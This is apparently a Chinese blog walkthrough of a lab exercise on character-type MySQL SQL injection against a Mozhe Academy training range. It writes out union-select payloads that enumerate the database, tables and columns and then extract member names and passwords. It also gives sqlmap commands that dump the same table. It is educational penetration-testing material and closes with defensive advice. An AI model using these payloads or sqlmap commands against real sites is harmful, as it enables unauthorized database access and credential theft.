当前位置: 首页 > backend >正文

墨者:SQL手工注入漏洞测试(MySQL数据库-字符型)

1. 墨者学院:SQL手工注入漏洞测试(MySQL数据库-字符型)🚀

2. MySQL字符型注入详解🔍

2.1 基本概念⚡

字符型注入是指Web应用程序在处理用户输入时,使用**单引号(')**将输入内容包裹为字符串的SQL查询场景。例如:

SELECT * FROM news WHERE id='用户输入'

2.2 与数字型注入的区别⚡

类型示例闭合方式测试方法
数字型id=1无需闭合直接拼接
字符型id='1'需要闭合单引号' and 1=1 --+

2.3 危险原理⚡

当开发者未对用户输入进行过滤时,攻击者可以通过:

  1. 闭合前引号:'
  2. 插入恶意代码:and 1=1
  3. 注释后续内容:--+%23

3. 手工注入方式🎯

我的靶场地址是http://124.70.64.48:44055/new_list.php?,下面的命令以id开始

3.1 确定字段数⚡

id=tingjigonggao' order by 5 --+

语法解释

  • ':闭合原SQL语句中的引号
  • order by 5:通过二分法测试字段数,当数字超出时会报错
  • --+:MySQL注释符(等同于%23即#的URL编码)
    在这里插入图片描述

3.2 确认回显位⚡

id=tingjigonggao' and 1=2 union select 1,2,3,4 --+

关键函数

  • union select:联合查询,要求前后字段数一致
  • and 1=2:使前段查询不返回结果,确保只显示union后的内容
    在这里插入图片描述

3.3 获取基础信息⚡

id=tingjigonggao' and 1=2 union select 1,database(),version(),4 --+

核心函数

  • database():显示当前数据库名
  • version():获取MySQL版本信息
    在这里插入图片描述

3.4 系统信息探测⚡

id=tingjigonggao' and 1=2 union select 1,@@version_compile_os,user(),4 --+

特殊变量

  • @@version_compile_os:操作系统类型
  • user():当前数据库用户
    在这里插入图片描述

3.5 爆表名⚡

id=tingjigonggao' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --+

关键技术

  • group_concat():合并多行结果
  • information_schema.tables:存储所有表信息的系统表
    在这里插入图片描述

3.6 爆列名⚡

id=tingjigonggao' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' --+

系统表说明

  • information_schema.columns:存储所有列信息的系统表
    在这里插入图片描述

3.7 获取最终数据⚡

id=tingjigonggao' and 1=2 union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+

在这里插入图片描述

4. sqlmap工具测试🎯

4.1 基础检测⚡

python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=tingjigonggao" --batch

在这里插入图片描述

4.2 枚举数据库⚡

python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=tingjigonggao" --dbs --batch

在这里插入图片描述

4.3 枚举表名⚡

python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup --tables --batch

在这里插入图片描述

4.4 枚举列名⚡

python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch

在这里插入图片描述

4.5 导出数据⚡

python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup -T stormgroup_member -C id,name,password,status --dump --batch

在这里插入图片描述

4.6 清理缓存⚡

python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

4.7 参数说明表⭐

参数作用示例
--batch非交互模式自动选择默认选项
--dbs枚举数据库--dbs
-D指定数据库-D mozhe_discuz_stormgroup
--tables枚举表--tables
-T指定表-T stormgroup_member
--columns枚举列--columns
-C指定列-C name,password
--dump导出数据--dump
--purge清除缓存--purge

5. 手工 vs 工具对比分析✨

对比维度手工注入SQLMap
学习成本需要理解SQL语法只需掌握参数用法
测试速度慢(逐步测试)快(自动化爆破)
隐蔽性可精细化控制流量产生大量测试请求
检测能力依赖测试者经验内置多种检测算法
适用阶段漏洞验证/CTF渗透测试/批量检测

6. 总结🏁

  1. 字符型注入关键在于引号闭合和注释使用
  2. information_schema是MySQL注入的核心突破口
  3. 手工注入适合学习原理,实战推荐使用sqlmap
  4. 防御措施:使用预编译语句、严格过滤输入、最小权限原则

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16475.html

相关文章:

  • LangGraph智能体(天气和新闻助手)开发与部署
  • MySQL的常用数据类型详解
  • ROS2编写一个简单的插件
  • 2025年7月一区SCI-基尔霍夫定律优化算法Kirchhoff’s law algorithm-附Matlab免费代码
  • HDFS Block与Spark的partition对比
  • 基于AFLFast的fuzz自动化漏洞挖掘(2)
  • 中型企业如何用 RUM 技术破解地理分布式用户体验难题?从指标监测到优化实操
  • 嵌入式开发学习———Linux环境下数据结构学习(四)
  • Cacti RCE漏洞复现
  • 【AlphaFold3】网络架构篇(2)|Input Embedding 对输入进行特征嵌入
  • halcon-blob
  • docker 入门,运行上传自己的首个镜像
  • 学习人工智能所需知识体系及路径详解
  • CTF-Web学习笔记:文件包含篇
  • java中一些数据结构的转换
  • ts学习3
  • CES Asia 2025:以创新为笔,书写亚洲科技新纪元
  • python-内存管理
  • 安宝特方案丨智能革新安全管控:AR技术赋能物流仓储行业安全升级
  • 【STM32编码器接口测速】实现测速功能
  • strcmp 与 strcpy 的深入解析
  • Day 24:元组与os模块
  • 基于Hadoop3.3.4+Flink1.17.0+FlinkCDC3.0.0+Iceberg1.5.0整合,实现数仓实时同步mysql数据
  • 基于springboot的在线购票系统/在线售票系统
  • C++ 中实现 `Task::WhenAll` 和 `Task::WhenAny` 的两种方案
  • Gradle#Plugin
  • Triton编译
  • JavaScript - 实现套索工具的demo
  • MySQL 8.0.42创建MGR集群
  • 深度学习(鱼书)day04--手写数字识别项目实战